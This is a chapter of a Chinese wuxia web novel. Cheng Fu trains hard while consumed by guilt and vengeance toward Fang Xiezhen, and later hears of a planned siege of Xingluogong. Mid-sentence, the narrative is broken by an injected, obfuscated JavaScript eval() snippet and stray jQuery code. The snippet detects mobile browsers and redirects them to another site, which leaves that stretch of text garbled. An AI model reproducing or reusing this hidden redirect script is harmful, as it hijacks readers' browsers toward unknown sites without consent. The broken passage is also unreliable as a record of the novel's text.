七句流言 作品

39.决裂(5)

程芙终究没有从澄意山庄搬出去,她的师娘不答应,朋友不答应,她自己也迷茫,此事便搁置下来。


也许将来还会付诸实践,但至少不是今日。


晚秋的寒凉与初春的寒凉很是不同,它更肃穆萧瑟些,随日升月落,万物都将凋零,看不到希望。


“还来不来?”白霓裳已陪徒儿练了半个时辰的剑。


武功这东西,一日不练自己晓得,五年不练,所有人都晓得。


不论是速度还是技法,程芙都有了明显的退步,对局势的判断也不如从前精准。


没关系,她只有九岁的时候,尚只能举起很轻的剑,那个时候,白霓裳便一招一式悉心教授她了,如今不过复现一遍,白霓裳乐意为之。


没关系,她从来不是习武的天才,如今不过重踏来时路,而她能比来时走得更好。


“再来。”程芙进屋换下湿透的衣裳,洗了把脸,“再来半个时辰。”


数届论剑,白霓裳对水月谷剑法的路数早有了一定的了解。她时不时在将水月谷剑法化用进自己的招式中,纵使不够“本味”,却也能帮上程芙。


程芙如今只有一个念头。


她不许方撷真再活在世上。


是她帮助方撷真精进了剑法,是她给了她一把削铁如泥的宝剑……她是一切的罪魁祸首。


这罪名是自己的吗?


有时候白天,程芙觉得自己也很无辜,有时是孤寂难明的夜,她便一次次将罪名背到身上来。


夜里总比白天想得多,夜里想的东西,总是更深刻痛苦、偏执疯狂,程芙便在一个个长夜里笃定了搜集自己的罪。


于道义,于私心,她都必须选择这样一条路。


“你多歇一会儿吧,我也歇歇。”白霓裳却累了,兀自坐到石凳上去,“这样没日没夜地苦练,不是办法。”


她完全理解徒儿的恨,却怕徒儿误入歧途,被仇恨蒙蔽了眼,因而时时提一句:“你阿婆到底保住了性命。阿芙,不要太执着了。”


面庞上的水珠还未干,浸湿的睫羽扑棱扑棱闪着,程芙眼尾掠过落寞:“我没有办法不执着。我有责任。”


白霓裳心中痛惜,她的爱徒本就不是活泼开朗的人,经逢变故,整个人消瘦许多,这件去年还合身的玄色武袍,而今竟能由秋风灌满衣袖了。


“你不要把什么事都往自己身上揽。”白霓裳叹道,“她性情大变,突然就莫名其妙地和你疏远,怎知不是她自己的原因?”


程芙咬唇,一言不发。


她至今不知方撷真为何突然与她疏远,从前没有机会问,以后没有必要问。


反正下次相见,唯刀剑而已。


“今天便练到这里。”白霓裳替徒儿做了决定,她认为徒儿需要休息,“你底子好,重回昔年的水准不难。不要把自己逼得太紧,复仇不是你人生最重要的事。去铸剑吧。”


去铸剑吧。


白霓裳抚了抚程芙的面颊,柔声重复了一句:”去铸剑吧。先画图稿,好吗?”


耳朵里痒痒的,原来是白霓裳的话音化作一尾尾雪白轻盈的鸿羽,钻进了程芙耳中。程芙接纳这着师娘的话,又因身体的本能,想将这些挠人异物排出去,图个清净。


最开始痒的是耳朵,继而便是眼睛了。程芙拼命瞪着眼,可惜她忘了眼睑本来就不能当堤坝用,这是人间最劣质的堤坝。


于是程芙的眼泪簌簌滚落,她也想闷到剑庐里去,那里才是她的天地,她仅需听一听锤子的叮咚声,便能心旷神怡。


“我没有时间。”程芙哽咽一下,扬手抹净了泪,“方撷真活得越久,被她所害的人就会越多。”


她放弃了一切的娱乐,手腕甚至因为握剑发痛肿胀,这是骨头关节太过劳累所致的问题。大夫叮嘱她不可频频用手,否则


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356292|165023||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


只怕手会废掉。


还好有几位交好的同门强行拉他出去,哪怕她沉默着不言语,也总比右手废掉要好,比整颗心都泡成仇恨的滋味要好。


而在次年暮春,澄意山庄收到水月谷的暗中邀约。


水月谷使者与裴庄主单独会面,极力陈情星罗宫光鲜亮丽外表下的丑陋可恶,屡屡描述星罗宫是如何草菅人命。


最后使者激愤道:“如此邪教,怎能不除!澄意山庄威望颇高、实力厚伟,若能相助,便是为天下除害!”


可惜,澄意山庄虽为“正派”,也和风评恶劣的门派势力保持着距离,却很少插手需要站队表态的事。


故而裴庄主虽盛情款待了使者,却对是否参与围剿星罗宫一事不置可否。


背地里,裴雁晚将此事说给程芙听。


“还不晓得围剿的策划人是谁。”


裴雁晚玩着拒霜剑的剑穗,那是她亲手缠的,好几年了,都褪色了,程芙也想不起要换:“只听说如今水月谷掌权的人,是二谷主武绿华,方撷真倒没有几分话语权。”


程芙蓦然掀眸:“为何?”


那场由星罗宫施加给水月谷的劫难,江湖中人人耳闻、人人传听,原来一个愚蠢的掌门,就能毁了一个门派几十年积攒的名声。


裴雁晚道:“武绿华做了多少年的二谷主了?方撷真才几岁?两方在派中的威信、人心从来没有对等过。”


指尖哒哒敲在桌上,程芙哑声问:“我们山庄应当不会参加围剿,只作旁观。”


“嗯,我们不缺那点儿名望和口碑。区区一个星罗宫,水月谷略纠集几派围攻也就拿下了。”裴雁晚听得心烦,不许程芙再敲桌子,故往友人手背上一拍,“倒是你——”


程芙凝眸望向她。


“你少插手是非。”裴雁晚一字字嘱咐,“但你若想和谁见面,万万小心些。记得,提前告知于我。”